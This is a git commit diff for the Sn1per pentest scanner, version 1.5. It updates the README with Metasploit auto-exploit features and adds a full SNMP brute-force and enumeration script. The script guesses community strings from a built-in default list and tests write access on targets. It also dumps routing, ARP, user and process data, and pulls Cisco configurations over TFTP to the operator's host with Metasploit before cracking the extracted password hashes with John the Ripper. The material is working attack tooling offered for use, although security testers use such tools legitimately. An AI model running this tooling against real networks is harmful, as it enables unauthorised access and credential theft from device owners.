Sn1per v1.5 by 1N3@CrowdShield

2015-12-28 12:09:20 -05:00 · 2015-12-28 12:09:20 -05:00 · 28120e36dc
parent 8c071deddd
commit 28120e36dc
5 changed files with 901 additions and 41 deletions
--- a/README.md
+++ b/README.md
@ -1,4 +1,4 @@
-+ -- --=[Sn1per v1.4g by 1N3
+ -- --=[Sn1per v1.5 by 1N3
 + -- --=[http://crowdshield.com
 
 # Sn1per - Automated Pentest Recon Scanner
@ -11,7 +11,8 @@ Sn1per is an automated scanner that can be used during a penetration test to enu
 * Automatically launches Google hacking queries against a target domain
 * Automatically enumerates open ports
 * Automatically brute forces sub-domains and DNS info
-* Automatically runs targeted nmap scripts against open ports
+* Automatically runs targeted NMap scripts against open ports
+* Automatically runs targeted Metasploit scan and exploit modules
 * Automatically scans all web applications for common vulnerabilities
 * Automatically brute forces all open services

@ -29,6 +30,11 @@ Sn1per is an automated scanner that can be used during a penetration test to enu
 https://goo.gl/96LCAg

 ## CHANGELOG:
+* v1.5 - Added Metasploit scan and auto-exploit modules
+* v1.5 - Added additional port checks
+* v1.5 - Added full TCP/UDP NMap XML output
+* v1.5 - Auto tune scan for either IP or hostname/domain
+* v1.4h - Added auto IP/domain name scan configurations
 * v1.4g - Added finger enumeration scripts
 * v1.4g - Fixed nmap -p 445 target issue
 * v1.4g - Fixed smtp-enum target issue
@ -46,3 +52,9 @@ https://goo.gl/96LCAg
 * v1.4 - Fixed minor errors with nmap
 * v1.4 - Removed debug output from goohak from displaying on console

+## FUTURE:
+* Add in detection and auto exploitation for Apache Tomcat, PHPMyAdmin, Webmin, MS08-067, Open Proxy, etc.
+* Add in Juniper backdoor password to password list
+* Add auth bypass string to password list
+* Add in OpenVAS integration
+* Look into HTML reporting or text based output options to save scan data
--- a/bin/snmpbrute.py
+++ b/bin/snmpbrute.py
@ -0,0 +1,789 @@
+#!/usr/bin/env python
+# SNMP Bruteforce & Enumeration Script
+# Requires metasploit, snmpwalk, snmpstat and john the ripper
+__version__ = 'v1.0b'
+from socket import socket, SOCK_DGRAM, AF_INET, timeout
+from random import randint
+from time import sleep
+import optparse, sys, os
+from subprocess import Popen, PIPE
+import struct
+import threading, thread
+import tempfile
+
+from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS,
+                       SNMPset, SNMPbulk, IP)
+
+##########################################################################################################
+#	Defaults
+##########################################################################################################
+class defaults:
+	rate=30.0
+	timeOut=2.0
+	port=161
+	delay=2
+	interactive=True
+	verbose=False
+	getcisco=True
+	colour=True
+
+default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','<removed>','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI']
+
+##########################################################################################################
+#	OID's
+##########################################################################################################
+''' Credits
+Some OID's borowed from Cisc0wn script
+# Cisc0wn - The Cisco SNMP 0wner.
+# Daniel Compton
+# www.commonexploits.com
+# contact@commexploits.com
+'''
+
+RouteOIDS={
+	'ROUTDESTOID':	[".1.3.6.1.2.1.4.21.1.1", "Destination"],
+	'ROUTHOPOID':	[".1.3.6.1.2.1.4.21.1.7", "Next Hop"],
+	'ROUTMASKOID':	[".1.3.6.1.2.1.4.21.1.11", "Mask"],
+	'ROUTMETOID':	[".1.3.6.1.2.1.4.21.1.3", "Metric"],
+	'ROUTINTOID':	[".1.3.6.1.2.1.4.21.1.2", "Interface"],
+	'ROUTTYPOID':	[".1.3.6.1.2.1.4.21.1.8", "Route type"],
+	'ROUTPROTOID':	[".1.3.6.1.2.1.4.21.1.9", "Route protocol"],
+	'ROUTAGEOID':	[".1.3.6.1.2.1.4.21.1.10", "Route age"]
+}
+
+InterfaceOIDS={
+	#Interface Info
+	'INTLISTOID':	[".1.3.6.1.2.1.2.2.1.2", "Interfaces"],
+	'INTIPLISTOID':	[".1.3.6.1.2.1.4.20.1.1", "IP address"],
+	'INTIPMASKOID':	[".1.3.6.1.2.1.4.20.1.3", "Subnet mask"],
+	'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"]
+}
+
+ARPOIDS={
+	# Arp table
+	'ARPADDR':		[".1.3.6.1.2.1.3.1 ","ARP address method A"],
+	'ARPADDR2':		[".1.3.6.1.2.1.3.1 ","ARP address method B"]
+}
+
+OIDS={
+	'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"]
+}
+
+snmpstat_args={
+	'Interfaces':["-Ci","Interface Info"],
+	'Routing':["-Cr","Route Info"],
+	'Netstat':["","Netstat"],
+	#'Statistics':["-Cs","Stats"]
+}
+
+'''Credits
+The following OID's are borrowed from snmpenum.pl script
+#        ----by filip waeytens 2003----
+#        ----  DA SCANIT CREW www.scanit.be ----
+#         filip.waeytens@hushmail.com
+'''
+
+WINDOWS_OIDS={
+	'RUNNING PROCESSES':	["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
+	'INSTALLED SOFTWARE':	["1.3.6.1.2.1.25.6.3.1.2","Installed Software"],
+	'SYSTEM INFO':	["1.3.6.1.2.1.1","System Info"],
+	'HOSTNAME':	["1.3.6.1.2.1.1.5","Hostname"],
+	'DOMAIN':	["1.3.6.1.4.1.77.1.4.1","Domain"],
+	'USERS':	["1.3.6.1.4.1.77.1.2.25","Users"],
+	'UPTIME':	["1.3.6.1.2.1.1.3","UpTime"],
+	'SHARES':	["1.3.6.1.4.1.77.1.2.27","Shares"],
+	'DISKS':	["1.3.6.1.2.1.25.2.3.1.3","Disks"],
+	'SERVICES':	["1.3.6.1.4.1.77.1.2.3.1.1","Services"],
+	'LISTENING TCP PORTS':	["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"],
+	'LISTENING UDP PORTS':	["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"]
+}
+
+LINUX_OIDS={
+	'RUNNING PROCESSES':	["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
+	'SYSTEM INFO':	["1.3.6.1.2.1.1","System Info"],
+	'HOSTNAME':	["1.3.6.1.2.1.1.5","Hostname"],
+	'UPTIME':	["1.3.6.1.2.1.1.3","UpTime"],
+	'MOUNTPOINTS':	["1.3.6.1.2.1.25.2.3.1.3","MountPoints"],
+	'RUNNING SOFTWARE PATHS':	["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"],
+	'LISTENING UDP PORTS':	["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"],
+	'LISTENING TCP PORTS':	["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"]
+}
+
+CISCO_OIDS={
+	'LAST TERMINAL USERS':	["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"],
+	'INTERFACES':	["1.3.6.1.2.1.2.2.1.2","Interfaces"],
+	'SYSTEM INFO':	["1.3.6.1.2.1.1.1","System Info"],
+	'HOSTNAME':	["1.3.6.1.2.1.1.5","Hostname"],
+	'SNMP Communities':	["1.3.6.1.6.3.12.1.3.1.4","Communities"],
+	'UPTIME':	["1.3.6.1.2.1.1.3","UpTime"],
+	'IP ADDRESSES':	["1.3.6.1.2.1.4.20.1.1","IP Addresses"],
+	'INTERFACE DESCRIPTIONS':	["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"],
+	'HARDWARE':	["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"],
+	'TACACS SERVER':	["1.3.6.1.4.1.9.2.1.5","TACACS Server"],
+	'LOG MESSAGES':	["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"],
+	'PROCESSES':	["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"],
+	'SNMP TRAP SERVER':	["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"]
+}
+
+##########################################################################################################
+#	Classes
+##########################################################################################################
+
+class SNMPError(Exception):
+	'''Credits
+	Class copied from sploitego project
+	__original_author__ = 'Nadeem Douba'
+	https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
+	'''
+	pass
+
+class SNMPVersion:
+	'''Credits
+	Class copied from sploitego project
+	__original_author__ = 'Nadeem Douba'
+	https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
+	'''
+	v1 = 0
+	v2c = 1
+	v3 = 2
+
+	@classmethod
+	def iversion(cls, v):
+		if v in ['v1', '1']:
+			return cls.v1
+		elif v in ['v2', '2', 'v2c']:
+			return cls.v2c
+		elif v in ['v3', '3']:
+			return cls.v3
+		raise ValueError('No such version %s' % v)
+
+	@classmethod
+	def sversion(cls, v):
+		if not v:
+			return 'v1'
+		elif v == 1:
+			return 'v2c'
+		elif v == 2:
+			return 'v3'
+		raise ValueError('No such version number %s' % v)
+
+class SNMPBruteForcer(object):
+	#This class is used for the sploitego method of bruteforce (--sploitego)
+	'''Credits
+	Class copied from sploitego project
+	__original_author__ = 'Nadeem Douba'
+	https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
+	'''
+	def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000):
+		self.version = SNMPVersion.iversion(version)
+		self.s = socket(AF_INET, SOCK_DGRAM)
+		self.s.settimeout(timeout)
+		self.addr = (agent, port)
+		self.rate = rate
+
+	def guess(self, communities):
+
+		p = SNMP(
+			version=self.version,
+			PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
+		)
+		r = []
+		for c in communities:
+			i = randint(0, 2147483647)
+			p.PDU.id = i
+			p.community = c
+			self.s.sendto(str(p), self.addr)
+			sleep(1/self.rate)
+		while True:
+			try:
+				p = SNMP(self.s.recvfrom(65535)[0])
+			except timeout:
+				break
+			r.append(p.community.val)
+		return r
+
+	def __del__(self):
+		self.s.close()
+
+class SNMPResults:
+	addr=''
+	version=''
+	community=''
+	write=False
+
+	def __eq__(self, other):
+		return self.addr == other.addr and self.version == other.version and self.community == other.community
+
+##########################################################################################################
+#	Colour output functions
+##########################################################################################################
+
+# for color output
+BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
+
+#following from Python cookbook, #475186
+def has_colours(stream):
+    if not hasattr(stream, "isatty"):
+        return False
+    if not stream.isatty():
+        return False # auto color only on TTYs
+    try:
+        import curses
+        curses.setupterm()
+        return curses.tigetnum("colors") > 2
+    except:
+        # guess false in case of error
+        return False
+has_colours = has_colours(sys.stdout)
+
+def printout(text, colour=WHITE):
+
+	if has_colours and defaults.colour:
+			seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n"
+			sys.stdout.write(seq)
+	else:
+			#sys.stdout.write(text)
+			print text
+
+
+##########################################################################################################
+#	
+##########################################################################################################
+
+def banner(art=True):
+	if art:
+		print >> sys.stderr,  "   _____ _   ____  _______     ____             __     "
+		print >> sys.stderr,  "  / ___// | / /  |/  / __ \\   / __ )_______  __/ /____ "
+		print >> sys.stderr,  "  \\__ \\/  |/ / /|_/ / /_/ /  / __  / ___/ / / / __/ _ \\"
+		print >> sys.stderr,  " ___/ / /|  / /  / / ____/  / /_/ / /  / /_/ / /_/  __/"
+		print >> sys.stderr,  "/____/_/ |_/_/  /_/_/      /_____/_/   \\__,_/\\__/\\___/ "
+		print >> sys.stderr,  ""
+		print >> sys.stderr,  "SNMP Bruteforce & Enumeration Script " + __version__
+		print >> sys.stderr,  "http://www.secforce.com / nikos.vassakis <at> secforce.com"
+		print >> sys.stderr, "###############################################################"
+		print >> sys.stderr,  ""
+
+def listener(sock,results):
+	while True:
+		try:
+			response,addr=SNMPrecv(sock)
+		except timeout:
+			continue
+		except KeyboardInterrupt:
+			break
+		except:
+			break
+		r=SNMPResults()
+		r.addr=addr
+		r.version=SNMPVersion.sversion(response.version.val)
+		r.community=response.community.val
+		results.append(r)
+		printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE)
+
+def SNMPrecv(sock):
+	try:
+		recv,addr=sock.recvfrom(65535)
+		response = SNMP(recv)
+		return response,addr
+	except:
+		raise
+		
+def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate):
+	addr = (ip, port)
+	for packet in packets:
+		i = randint(0, 2147483647)
+		packet.PDU.id = i
+		packet.community = community
+		sock.sendto(str(packet), addr)
+		sleep(1/rate)
+
+def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut):
+	s = socket(AF_INET, SOCK_DGRAM)
+	s.settimeout(TimeOut)
+	response=''
+	r=result
+
+	version = SNMPVersion.iversion(r.version)
+	if value:
+		p = SNMP(
+			version=version,
+			PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)])
+			)
+	else:
+		p = SNMP(
+			version=version,
+			PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))])
+			)
+
+	SNMPsend(s,p,r.addr[0],r.addr[1],r.community)
+	for x in range(0, 5):
+		try:
+			response,addr=SNMPrecv(s)
+			break
+		except timeout:	# if request times out retry
+			sleep(0.5)
+			continue
+	s.close
+	if not response:
+		raise timeout
+	return response
+
+def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'):
+	#Alt .1.3.6.1.2.1.1.5.0
+
+	setval='HASH(0xDEADBEF)'
+	for r in results:
+		try:
+			originalval=SNMPRequest(r,OID)
+
+			if originalval:
+				originalval=originalval[SNMPvarbind].value.val
+
+				SNMPRequest(r,OID,setval)
+				curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
+
+				if curval == setval:
+					r.write=True
+					try:
+						SNMPRequest(r,OID,originalval)
+					except timeout:
+						pass
+					if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN)
+					curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
+					if curval != originalval:
+						printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED)
+				else:
+					if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE)
+			else:
+				r.write=None
+				printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED)
+		except timeout:
+			r.write=None
+			printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED)
+			continue
+
+def generic_snmpwalk(snmpwalk_args,oids):
+	for key, val in oids.items():
+		try:
+			printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
+			entry={}
+			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
+					
+			print '\tINFO'
+			print '\t----\t'
+			for i in out:
+				print '\t',i.strip()
+			print '\n'
+		except KeyboardInterrupt:
+			pass
+
+def enumerateSNMPWalk(result,options):
+	r=result
+
+	snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1])
+
+	############################################################### 	Enumerate OS
+	if options.windows:	
+		generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS)
+		return
+	if options.linux:	
+		generic_snmpwalk(snmpwalk_args,LINUX_OIDS)
+		return
+	if options.cisco:	
+		generic_snmpwalk(snmpwalk_args,CISCO_OIDS)
+	
+	############################################################### 	Enumerate CISCO Specific
+	############################################################### 	Enumerate Routes
+	entry={}
+	out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines()
+	lines = len(out)
+
+	printout('################## Enumerating Routing Table (snmpwalk)',YELLOW)
+	try:
+		for key, val in RouteOIDS.items():	#Enumerate Routes
+			#print '\t *',val[1], val[0]
+			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines()
+			
+			entry[val[1]]=out
+			
+
+		print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge'
+		print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---'
+		for j in range(lines):
+			print( '\t'+entry['Destination'][j].strip().ljust(12,' ') +
+					'\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') +
+					'\t'+entry['Mask'][j].strip().ljust(12,' ')  +
+					'\t\t'+entry['Metric'][j].strip().center(6,' ') +
+					'\t'+entry['Interface'][j].strip().center(10,' ') +
+					'\t'+entry['Route type'][j].strip().center(4,' ') +
+					'\t'+entry['Route protocol'][j].strip().center(8,' ') +
+					'\t'+entry['Route age'][j].strip().center(3,' ')
+			)
+	except KeyboardInterrupt:
+		pass
+
+	############################################################### 	Enumerate Arp
+	print '\n'
+	for key, val in ARPOIDS.items():
+		try:
+			printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW)
+			entry={}
+			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines()
+
+			lines=len(out)/3
+
+			entry['V']=out[0*lines:1*lines]
+			entry['MAC']=out[1*lines:2*lines]
+			entry['IP']=out[2*lines:3*lines]
+
+			
+			print '\tIP\t\tMAC\t\t\tV'
+			print '\t--\t\t---\t\t\t--'
+			for j in range(lines):
+				print(	'\t'+entry['IP'][j].strip().ljust(12,' ') +
+						'\t'+entry['MAC'][j].strip().ljust(18,' ') +
+						'\t'+entry['V'][j].strip().ljust(2,' ')
+				)
+			print '\n'
+		except KeyboardInterrupt:
+			pass
+
+	############################################################### 	Enumerate SYSTEM
+	for key, val in OIDS.items():
+		try:
+			printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
+			entry={}
+			out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
+					
+			print '\tINFO'
+			print '\t----\t'
+			for i in out:
+				print '\t',i.strip()
+			print '\n'
+		except KeyboardInterrupt:
+			pass
+	############################################################### 	Enumerate Interfaces
+	for key, val in snmpstat_args.items():
+		try:
+			printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
+			out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines()
+					
+			for i in out:
+				print '\t',i.strip()
+			print '\n'
+		except KeyboardInterrupt:
+			pass
+
+def get_cisco_config(result,options):
+	printout(('################## Trying to get config with: %s'% result.community),YELLOW)
+
+	identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read()
+	
+	if options.interactive:
+		Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip()
+	else:
+		Local_ip = identified_ip.strip()
+
+	if not (os.path.isdir("./output")):
+		os.popen('mkdir output')
+
+	p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1
+	
+
+	print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E '
+
+	out=[]
+	while p.poll() is None:
+		line=p.stdout.readline()
+		out.append(line)
+		print '\t',line.strip()
+	
+	printout('################## Passwords Found:',YELLOW)
+	encrypted=[]
+	for i in out:
+		if "Password" in i:
+			print '\t',i.strip()
+		if "Encrypted" in i:
+			encrypted.append(i.split()[-1])
+
+	if encrypted:
+		print '\nCrack encrypted password(s)?'
+		for i in encrypted:
+			print '\t',i
+
+		#if (False if raw_input("(Y/n):").lower() == 'n' else True):
+		if not get_input("(Y/n):",'n',options):
+			
+			with open('./hashes', 'a') as f:
+				for i in encrypted:
+					f.write(i+'\n')
+			
+			p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
+			while p.poll() is None:
+					print '\t',p.stdout.readline()
+			print 'Passwords Cracked:'
+			out=os.popen('john ./hashes --show').readlines()
+			for i in out: 
+				print '\t', i.strip()
+
+	out=[]
+	while p.poll() is None:
+		line=p.stdout.readline()
+		out.append(line)
+		print '\t',line.strip()
+
+def select_community(results,options):
+	default=None
+	try:
+		printout("\nIdentified Community strings",WHITE)
+
+		for l,r in enumerate(results):
+			if r.write==True:
+				printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN)
+				default=l
+			elif r.write==False:
+				printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE)
+			else:
+				printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED)
+		
+			if default is None:
+				default = l
+		
+		if not options.enum:
+			return
+		
+		if options.interactive:
+			selection=raw_input("Select Community to Enumerate ["+str(default)+"]:")
+			if not selection:
+				selection=default
+		else:
+			selection=default
+			
+		try:
+			return results[int(selection)]
+		except:
+			return results[l]
+	except KeyboardInterrupt:
+		exit(0)
+
+def SNMPenumeration(result,options):
+	getcisco=defaults.getcisco
+	try:
+		printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW)
+		enumerateSNMPWalk(result,options)
+		
+		if options.windows or options.linux:
+			if not get_input("Get Cisco Config (y/N):",'y',options):
+				getcisco=False
+		if getcisco: 
+			get_cisco_config(result,options)
+	except KeyboardInterrupt:
+		print '\n'
+		return
+
+def password_brutefore(options, communities, ips):
+	s = socket(AF_INET, SOCK_DGRAM)
+	s.settimeout(options.timeOut)
+
+	results=[]
+	
+	#Start the listener
+	T = threading.Thread(name='listener', target=listener, args=(s,results,))
+	T.start()
+	
+	# Craft SNMP's for both versions
+	p1 = SNMP(
+		version=SNMPVersion.iversion('v1'),
+		PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
+		)
+	p2c = SNMP(
+		version=SNMPVersion.iversion('v2c'),
+		PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
+		)
+
+	packets = [p1, p2c]
+
+	#We try each community string
+	for i,community in enumerate(communities):
+		#sys.stdout.write('\r{0}'.format('.' * i))
+		#sys.stdout.flush()
+		for ip in ips:
+			SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate)
+
+	#We read from STDIN if necessary
+	if options.stdin:
+		while True:
+			try:
+				try:
+					community=raw_input().strip('\n')
+					for ip in ips:
+						SNMPsend(s, packets, ip, options.port, community, options.rate)
+				except EOFError:
+					break				
+			except KeyboardInterrupt:
+				break
+
+	try:
+		print "Waiting for late packets (CTRL+C to stop)"
+		sleep(options.timeOut+options.delay)	#Waiting in case of late response
+	except KeyboardInterrupt:
+		pass
+	T._Thread__stop()
+	s.close
+
+	#We remove any duplicates. This relies on the __equal__
+	newlist = []
+	for i in results:
+		if i not in newlist:
+			newlist.append(i)
+	return newlist
+
+def get_input(string,non_default_option,options):
+	#(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False)
+	
+	if options.interactive:
+		if raw_input(string).lower() == non_default_option:
+			return True
+		else:
+			return False
+	else:
+		print string
+		return False
+
+def main():
+
+	parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter())
+
+	parser.set_usage("python snmp-brute.py -t <IP> -f <DICTIONARY>")
+	#parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help())
+	parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store')
+	parser.add_option('-t','--target', help='Host IP', dest='ip', action='store')
+	parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port)
+	
+
+	groupAlt = optparse.OptionGroup(parser, "Alternative Options")
+	groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False)
+	groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store')
+	groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False)
+
+
+	groupAuto = optparse.OptionGroup(parser, "Automation")
+	groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True)
+	groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True)
+	groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True)
+
+	groupAdvanced = optparse.OptionGroup(parser, "Advanced")
+	groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate)
+	groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut)
+	groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay)
+
+	groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store')
+	groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False)
+
+	groupOS = optparse.OptionGroup(parser, "Operating Systems")
+	groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False)
+	groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False)
+	groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False)
+
+	parser.add_option_group(groupAdvanced)
+	parser.add_option_group(groupAuto)
+	parser.add_option_group(groupOS)
+	parser.add_option_group(groupAlt)
+
+	(options, arguments) = parser.parse_args()
+
+	communities=[]
+	ips=[]
+
+	banner(options.colour)	#For SPARTA!!!
+	
+	if not options.ip and not options.lfile:
+		#Can't continue without target
+		parser.print_help()
+		exit(0)
+	else:
+		# Create the list of targets
+		if options.lfile:
+			try:
+				with open(options.lfile) as t:
+					ips = t.read().splitlines()	#Potential DoS
+			except:
+				print "Could not open targets file: " + options.lfile
+				exit(0)
+		else:
+			ips.append(options.ip)
+
+	if not options.colour:
+			defaults.colour=False
+
+	# Create the list of communities
+	if options.dictionary:	# Read from file
+		with open(options.dictionary) as f:
+			communities=f.read().splitlines()	#Potential DoS
+	elif options.community:	# Single community
+		communities.append(options.community)
+	elif options.stdin:		# Read from input
+		communities=[]
+	else:	#if not options.community and not options.dictionary and not options.stdin:
+		communities=default_communities
+
+	#We ensure that default communities are included
+	#if 'public' not in communities:
+	#	communities.append('public')
+	#if 'private' not in communities:
+	#	communities.append('private')
+
+	if options.stdin:
+		options.interactive=False
+
+	results=[]
+
+	if options.stdin:
+		print >> sys.stderr, "Reading input for community strings ..."
+	else:
+		print >> sys.stderr, "Trying %d community strings ..." % len(communities)
+
+	if options.sploitego: #sploitego method of bruteforce
+		if ips:
+			for ip in ips:
+				for version in ['v1', 'v2c']:
+					bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate)
+					result=bf.guess(communities)
+					for i in result:
+						r=SNMPResults()
+						r.addr=(ip,options.port)
+						r.version=version
+						r.community=i
+						results.append(r)
+					print ip, version+'\t',result
+		else:
+			parser.print_help()
+
+	else:
+		results = password_brutefore(options, communities, ips)
+
+	#We identify whether the community strings are read or write
+	if results:
+		printout("\nTrying identified strings for READ-WRITE ...",WHITE)
+		testSNMPWrite(results,options)	
+	else:
+		printout("\nNo Community strings found",RED)
+		exit(0)
+	
+	#We attempt to enumerate the router
+	while options.enum:
+		SNMPenumeration(select_community(results,options),options)
+
+		#if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False):
+		if get_input("Enumerate with different community? (y/N):",'y',options):
+			continue
+		else:
+			break
+		
+	if not options.enum:
+		select_community(results,options)
+			
+		print "Finished!"
+
+if __name__ == "__main__":
+	main()
--- a/install.sh
+++ b/install.sh
@ -19,18 +19,20 @@ echo -e "$OKORANGE + -- --=[http://crowdshield.com$RESET"
 echo ""

 DIR=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )
+export SNIPER_DIR="$DIR"

